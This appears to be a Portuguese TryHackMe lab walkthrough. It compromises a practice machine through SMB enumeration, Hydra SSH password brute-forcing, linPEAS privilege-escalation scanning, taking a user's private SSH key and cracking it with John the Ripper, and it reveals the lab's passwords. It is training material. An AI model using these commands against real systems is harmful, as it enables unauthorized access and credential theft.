Primeiro, devemos estabelecer nossa conexão VPN utilizando sudo openvpn Kibon.ovpn
.
Primeiramente, rodamos um nmap para vermos que portas estão sendo usadas:
Sabendo da presença de um HTTP, colocaremos o IP no navegador para ver o que encontramos:
No TryHackMe, ele fala sobre visualizar os possíveis diretores nesse servidor. Portanto, utilizaremos o DirBuster para fazer um bruteforce nos diretórios do servidor. Para isso, escreva http://10.10.202.212:80/, utilize o "Go Faster" e escolha um dos wordlists do próprio DirBuster. Com isso, conseguimos descobrir o diretório /development do servidor. Olhando eles, você vê dois arquivos txt:
-
dev.txt:
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J
-
j.txt
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.
-K
Obs1: Para instalação do DirBuster, siga esse tutorial Obs2: O IP a partir de agora será 10.10.202.212.
Os dois usuários parecem estar usando SMB. Rodaremos um smbmap para verificar isso:
~/Dow/Ganesh/smbmap-master ❯ python3 smbmap.py -H 10.10.202.212 -R 16:47:56
[+] IP: 10.10.202.212:445 Name: 10.10.202.212 Status: Guest session
Disk Permissions Comment
---- ----------- -------
Anonymous READ ONLY
.\Anonymous\\*
dr--r--r-- 0 Thu Apr 19 14:31:20 2018 .
dr--r--r-- 0 Thu Apr 19 14:13:06 2018 ..
fr--r--r-- 173 Thu Apr 19 14:29:55 2018 staff.txt
IPC$ NO ACCESS IPC Service (Samba Server 4.3.11-Ubuntu)
Vamos tentar dar uma olhada naquele staff.txt no Anonymous com o smbclient:
~/Downloads/Ganesh/smbmap-master ❯ smbclient //10.10.202.212/Anonymous 16:51:26
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\kibon's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 14:31:20 2018
.. D 0 Thu Apr 19 14:13:06 2018
staff.txt N 173 Thu Apr 19 14:29:55 2018
14318640 blocks of size 1024. 11092488 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)
smb: \> ^C
Olhando o arquivo staff.txt, temos:
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!)
-Kay
Veja que agora sabemos os nomes dos usuários J e K que são, respectivamente, Jan e Kay.
Agora, tentaremos entrar no SSH com username jan, o problema é que não temos a senha. Para isso, utilizaremos o Hydra para brutar as senhas do SSH. (Obs: vai demorar bastante, pelo menos pra mim demorou pra conseguir a senha com o rockyou.txt)
Utilizando esse comando hydra -I -V -l jan -P ~/Documentos/Ganesh/rockyou.txt 10.10.202.212 -t 4 ssh
será possível brutar os passwords.
Após esse processo, você verá que a senha é "armando". Conseguimos entrar no ssh com ssh jan@10.10.202.212 -p 22
.
Para a escalação de privilégio, você pode usar o linPEAS que analisa o que pode ser usado para a escalação de privilégio no sistema. Sim, é bem legal. O arquivo pode ser encontrado aqui. Para utilizar o linPEAS no ssh, temos que passar ele para dentro do SSH. Para isso, usamos o comando (obs: o IP mudou de novo):
scp linpeas.sh jan@10.10.74.55:/dev/shm
O scp é usado para passar o linpeas.sh para dentro do ssh no diretório /dev/shm
Uma vez com o linpeas lá dentro, podemos executá-lo. Para isso:
cd /dev/shm
chmod +x linpeas.sh
./linpeas.sh | tee resultados.txt
O tee passa os resultados da tela para o resultados.txt Ao rodar, isso se sobressai:
Possible private SSH keys were found!
/home/kay/.ssh/id_rsa
...
Dando um cat /home/kay/.ssh/id_rsa
, conseguimos ver a chave privada da Kay. Copiando isso e criando um arquivo idêntico fora do ssh, conseguiremos usar um John The Ripper.
nano kay_rsa
chmod 600 kay_rsa
/opt/john-bleeding-jumbo/run/ssh2john.py kay_rsa > rsaHash.txt
A partir dessa hash, podemos usar o john em si para extrair a senha. Caso não encontre o john, dê uma olhada na instalação do John The Reaper em Ferramentas:
~ ❯ /opt/john-bleeding-jumbo/run/john Downloads/rsaHash.txt --wordlist=Documentos/Ganesh/rockyou.txt 5s 21:20:56
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (kay_rsa)
1g 0:00:00:00 DONE (2020-10-16 21:21) 33.33g/s 2758Kp/s 2758Kc/s 2758KC/s binkey..bambino1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Vemos que a senha da Kay é "beeswax"
~/Downloads ❯ ssh -i kay_rsa kay@10.10.74.55 -p 22 ✘ INT 29s 21:25:20
Enter passphrase for key 'kay_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
E assim conseguimos acesso à Kay. Rodando um cat pass.bak
conseguimos ver que a senha é "heresareallystrongpasswordthatfollowsthepasswordpolicy".
E assim conseguimos chegar ao fim dessa máquina ^^